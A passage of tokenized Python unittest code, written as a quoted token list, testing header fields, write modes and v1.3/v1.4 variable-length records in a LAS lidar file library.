":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "Date", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d1_", "=_", "self_", "._", "File", "Object_", "._", "header_", "._", "date_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "d1_", "==_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "datetime_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d2_", "=_", "datetime_", "(_", "2007_", ",_", "12_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "header_", "._", "date_", "=_", "d2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d3_", "=_", "self_", "._", "File", "Object_", "._", "header_", "._", "get", "\\u", "date_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "d2_", ",_", "d3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Head", "er", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "point", "\\u", "rec", "s", "\\u", "by", "\\u", "return_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "point", " ", "record", "s", " ", "by", " ", "return", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r1_", "=_", "[_", "x_", "+_", "1_", "for_", "x_", "in_", "self_", "._", "File", "Object_", "._", "header_", "._", "point", "\\u", "return", "\\u", "count_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "header_", "._", "point", "\\u", "return", "\\u", "count_", "=_", "r1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r2_", "=_", "self_", "._", "File", "Object_", "._", "header_", "._", "get", "\\u", "point", "record", "sb", "yre", "turn", "count_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "r1_", "==_", "r2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Head", "er", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "min", "\\u", "max", "\\u", "update_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "the", " ", "update", " ", "min", "/", "max", " ", "function", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "list_", "(_", "self_", "._", "File", "Object_", "._", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "[_", "0_", "]_", "=_", "max_", "(_", "x_", ")_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "list_", "(_", "self_", "._", "File", "Object_", "._", "Y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "[_", "0_", "]_", "=_", "max_", "(_", "y_", ")_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "=_", "list_", "(_", "self_", "._", "File", "Object_", "._", "Z_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "[_", "0_", "]_", "=_", "max_", "(_", "z_", ")_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "X_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "Y_", "=_", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "Z_", "=_", "z_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "header_", "._", "update", "\\u", "min", "\\u", "max_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "max_", "=_", "self_", "._", "File", "Object_", "._", "header_", "._", "max_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "file", "\\u", "max_", "==_", "[_", "self_", "._", "File", "Object_", "._", "x_", "[_", "0_", "]_", ",_", "self_", "._", "File", "Object_", "._", "y_", "[_", "0_", "]_", ",_", "self_", "._", "File", "Object_", "._", "z_", "[_", "0_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Head", "er", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "histogram_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "the", " ", "update", "\\u", "histo", "gram", " ", "functo", "n", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h1_", "=_", "self_", "._", "File", "Object_", "._", "header_", "._", "point", "\\u", "return", "\\u", "count_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "header_", "._", "update", "\\u", "histogram_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h2_", "=_", "self_", "._", "File", "Object_", "._", "header_", "._", "point", "\\u", "return", "\\u", "count_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "h1_", "==_", "h2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Head", "er", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "offset_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "offset", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "o1_", "=_", "self_", "._", "File", "Object_", "._", "header_", "._", "offset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "o1_", "[_", "0_", "]_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "header_", "._", "offset_", "=_", "o1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "o2_", "=_", "self_", "._", "File", "Object_", "._", "header_", "._", "get", "\\u", "offset_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "o1_", "==_", "o2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Head", "er", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "scale_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "Scale", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s1_", "=_", "self_", "._", "File", "Object_", "._", "header_", "._", "scale_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s1_", "[_", "0_", "]_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "header_", "._", "scale_", "=_", "s1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s2_", "=_", "list_", "(_", "self_", "._", "File", "Object_", "._", "header_", "._", "get", "\\u", "scale_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "s1_", "==_", "s2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "Mode", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "usi", "ng", "\\u", "bare", "bone", "s", "\\u", "header_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "file", " ", "creati", "on", " ", "usi", "ng", " ", "bare", "bone", "s", " ", "header", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "header", "\\u", "object_", "=_", "header_", "._", "Header_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "File", "2_", "=_", "File_", "._", "File_", "(_", "self_", "._", "output", "\\u", "tempfile_", ",_", "mode_", "=_", "\"", "w", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "header_", "=_", "header", "\\u", "object_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "File", "2_", "._", "header_", "._", "version_", "==_", "\"", "1.2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "X_", "=_", "list_", "(_", "self_", "._", "File", "1_", "._", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Y_", "=_", "list_", "(_", "self_", "._", "File", "1_", "._", "Y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "list_", "(_", "self_", "._", "File", "1_", "._", "Z_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "X_", "=_", "X_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "Y_", "=_", "Y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "Z_", "=_", "Z_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "list_", "(_", "X_", ")_", "==_", "list_", "(_", "File", "2_", "._", "get", "\\u", "x_", "(_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "list_", "(_", "Y_", ")_", "==_", "list_", "(_", "File", "2_", "._", "get", "\\u", "y_", "(_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "list_", "(_", "Z_", ")_", "==_", "list_", "(_", "File", "2_", "._", "get", "\\u", "z_", "(_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "close_", "(_", "ignore", "\\u", "header", "\\u", "changes_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "Mode", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "usi", "ng", "\\u", "exist", "ing", "\\u", "header_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "file", " ", "creati", "on", " ", "usi", "ng", " ", "an", " ", "exist", "ing", " ", "header", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "header", "\\u", "object_", "=_", "self_", "._", "File", "1_", "._", "header_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "=_", "File_", "._", "File_", "(_", "self_", "._", "output", "\\u", "tempfile_", ",_", "mode_", "=_", "\"", "w", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "header_", "=_", "header", "\\u", "object_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", "=_", "list_", "(_", "self_", "._", "File", "1_", "._", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Y_", "=_", "list_", "(_", "self_", "._", "File", "1_", "._", "Y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "list_", "(_", "self_", "._", "File", "1_", "._", "Z_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "Z_", "=_", "Z_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "Y_", "=_", "Y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "X_", "=_", "X_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "list_", "(_", "X_", ")_", "==_", "list_", "(_", "File", "2_", "._", "get", "\\u", "x_", "(_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "list_", "(_", "Y_", ")_", "==_", "list_", "(_", "File", "2_", "._", "get", "\\u", "y_", "(_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "list_", "(_", "Z_", ")_", "==_", "list_", "(_", "File", "2_", "._", "get", "\\u", "z_", "(_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "close_", "(_", "ignore", "\\u", "header", "\\u", "changes_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "Mode", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "format\\u", "change", "\\u", "and", "\\u", "extra", "\\u", "bytes_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "format", " ", "change", " ", "and", " ", "extra", "\\u", "bytes", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "1_", "=_", "self_", "._", "File", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "header_", "=_", "File", "1_", "._", "header_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "header_", "._", "format_", "=_", "1.2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "header_", "._", "data\\u", "format\\u", "id_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "header_", "._", "data\\u", "record", "\\u", "length_", "=_", "50_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "File", "2_", "=_", "File_", "._", "File_", "(_", "self_", "._", "output", "\\u", "tempfile_", ",_", "mode_", "=_", "\"", "w", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "header_", "=_", "new", "\\u", "header_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "dim_", "in_", "File", "1_", "._", "point", "\\u", "format_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "\\u", "dim_", "=_", "File", "1_", "._", "reader_", "._", "get", "\\u", "dimension_", "(_", "dim_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "dim_", "._", "name_", "in_", "File", "2_", "._", "point", "\\u", "format_", "._", "lookup_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "File", "2_", "._", "writer_", "._", "set\\u", "dimension_", "(_", "dim_", "._", "name_", ",_", "in", "\\u", "dim_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "File", "2_", "._", "extra", "\\u", "bytes_", "=_", "[_", "\"", "Test", "\"_", "]_", "*_", "len_", "(_", "File", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "Test", "\"_", "in_", "str_", "(_", "File", "2_", "._", "get", "\\u", "extra", "\\u", "bytes_", "(_", ")_", "[_", "14_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "close_", "(_", "ignore", "\\u", "header", "\\u", "changes_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "V", "\\u", "13", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "glob", "\\u", "encode_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "v1", ".3", " ", "Global", " ", "Enco", "ding", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old_", "=_", "self_", "._", "File", "1_", "._", "header_", "._", "gps", "\\u", "time", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "old_", "==_", "'", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "1_", "._", "header_", "._", "gps", "\\u", "time", "\\u", "type_", "=_", "'", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "File", "1_", "._", "header_", "._", "get", "\\u", "gps", "\\u", "time", "\\u", "type_", "(_", ")_", ",_", "'", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "File", "2_", "=_", "File_", "._", "File_", "(_", "self_", "._", "output", "\\u", "tempfile_", ",_", "mode_", "=_", "\"", "w", "\"_", ",_", "header_", "=_", "self_", "._", "File", "1_", "._", "header_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "File", "1_", "._", "header_", "._", "waveform", "\\u", "data\\u", "packet", "s", "\\u", "internal_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "File", "2_", "._", "header_", "._", "waveform", "\\u", "data\\u", "packet", "s", "\\u", "internal_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "File", "1_", "._", "header_", "._", "waveform", "\\u", "data\\u", "packet", "s", "\\u", "external_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "File", "2_", "._", "header_", "._", "waveform", "\\u", "data\\u", "packet", "s", "\\u", "external_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "File", "1_", "._", "header_", "._", "synthetic", "\\u", "return", "\\u", "num_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "File", "2_", "._", "header_", "._", "synthetic", "\\u", "return", "\\u", "num_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "close_", "(_", "ignore", "\\u", "header", "\\u", "changes_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "V", "\\u", "14", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "glob", "\\u", "encode_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "v1", ".4", " ", "Global", " ", "Enco", "ding", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old_", "=_", "self_", "._", "File", "1_", "._", "header_", "._", "gps", "\\u", "time", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "old_", "==_", "'", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "1_", "._", "header_", "._", "gps", "\\u", "time", "\\u", "type_", "=_", "'", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "File", "1_", "._", "header_", "._", "get", "\\u", "gps", "\\u", "time", "\\u", "type_", "(_", ")_", ",_", "'", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "File", "2_", "=_", "File_", "._", "File_", "(_", "self_", "._", "output", "\\u", "tempfile_", ",_", "mode_", "=_", "\"", "w", "\"_", ",_", "header_", "=_", "self_", "._", "File", "1_", "._", "header_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "File", "1_", "._", "header_", "._", "waveform", "\\u", "data\\u", "packet", "s", "\\u", "internal_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "File", "2_", "._", "header_", "._", "waveform", "\\u", "data\\u", "packet", "s", "\\u", "internal_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "File", "1_", "._", "header_", "._", "waveform", "\\u", "data\\u", "packet", "s", "\\u", "external_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "File", "2_", "._", "header_", "._", "waveform", "\\u", "data\\u", "packet", "s", "\\u", "external_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "File", "1_", "._", "header_", "._", "synthetic", "\\u", "return", "\\u", "num_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "File", "2_", "._", "header_", "._", "synthetic", "\\u", "return", "\\u", "num_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "close_", "(_", "ignore", "\\u", "header", "\\u", "changes_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "V", "\\u", "14", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ev", "lr_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Test", "ing", " ", "v1", ".4", " ", "EV", "LR", " ", "support", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "=_", "File_", "._", "File_", "(_", "self_", "._", "output", "\\u", "tempfile_", ",_", "mode_", "=_", "\"", "w", "\"_", ",_", "header_", "=_", "self_", "._", "File", "1_", "._", "header_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "File", "1_", "._", "header_", "._", "ev", "lr", "s_", "[_", "0_", "]_", "._", "to", "\\u", "byte", "\\u", "string_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "File", "2_", "._", "header_", "._", "ev", "lr", "s_", "[_", "0_", "]_", "._", "to", "\\u", "byte", "\\u", "string_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "points_", "=_", "self_", "._", "File", "1_", "._", "points_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "oute", "vl", "rs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[_", "oute", "vl", "rs_", "._", "append_", "(_", "File", "2_", "._", "header_", "._", "ev", "lr", "s_", "[_", "0_", "]_", ")_", "for_", "i_", "in_", "xrange_", "(_", "50_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "header_", "._", "ev", "lr", "s_", "=_", "oute", "vl", "rs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "=_", "File_", "._", "File_", "(_", "self_", "._", "output", "\\u", "tempfile_", ",_", "mode_", "=_", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "File", "2_", "._", "header_", "._", "ev", "lr", "s_", ")_", "==_", "50_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "close_", "(_", "ignore", "\\u", "header", "\\u", "changes_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "V", "\\u", "14", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "vl", "r", "\\u", "defin", "ed", "\\u", "dimensions_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "v1", ".4", " ", "VL", "R", " ", "defin", "ed", " ", "dimension", "s", " ", "(", "LL", " ", "API", ")\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "header_", "=_", "self_", "._", "File", "1_", "._", "header_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Test", " ", "basic", " ", "numeri", "c", " ", "dimension_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "dim", "\\u", "record", "1_", "=_", "header_", "._", "Extra", "Byte", "s", "Struct_", "(_", "name_", "=_", "\"", "Test", " ", "Dimen", "sion", " ", "1234", "\"_", ",_", "data\\u", "type_", "=_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Test", " ", "string", " ", "dimension", " ", "(", "len", " ", "3", ")_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "dim", "\\u", "record", "2_", "=_", "header_", "._", "Extra", "Byte", "s", "Struct_", "(_", "name_", "=_", "\"", "Test", " ", "Dimen", "sion", " ", "5678", "\"_", ",_", "data\\u", "type_", "=_", "22_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Test", " ", "integ", "er", " ", "array", " ", "dimension", " ", "(", "len", " ", "3", ")_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "dim", "\\u", "record", "3_", "=_", "header_", "._", "Extra", "Byte", "s", "Struct_", "(_", "name_", "=_", "\"", "Test", " ", "Dimen", "sion", " ", "9", "\"_", ",_", "data\\u", "type_", "=_", "26_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "VL", "R", "\\u", "rec_", "=_", "header_", "._", "VL", "R_", "(_", "user", "\\u", "id_", "=_", "\"", "LAS", "F", "\\u", "Spec", "\"_", ",_", "record", "\\u", "id_", "=_", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "VL", "R", "\\u", "body_", "=_", "(_", "new", "\\u", "dim", "\\u", "record", "1_", "._", "to", "\\u", "byte", "\\u", "string_", "(_", ")_", "+_", "new", "\\u", "dim", "\\u", "record", "2_", "._", "to", "\\u", "byte", "\\u", "string_", "(_", ")_", "+_", "new", "\\u", "dim", "\\u", "record", "3_", "._", "to", "\\u", "byte", "\\u", "string_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "header_", "._", "data\\u", "record", "\\u", "length_", "+=_", "(_", "19_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "=_", "File_", "._", "File_", "(_", "self_", "._", "output", "\\u", "tempfile_", ",_", "mode_", "=_", "\"", "w", "\"_", ",_", "header_", "=_", "new", "\\u", "header_", ",_", "vl", "rs_", "=_", "[_", "new", "\\u", "VL", "R", "\\u", "rec_", "]_", ",_", "ev", "lr", "s_", "=_", "self_", "._", "File", "1_", "._", "header_", "._", "ev", "lr", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "File", "2_", "._", "X_", "=_", "self_", "._", "File", "1_", "._", "X_", 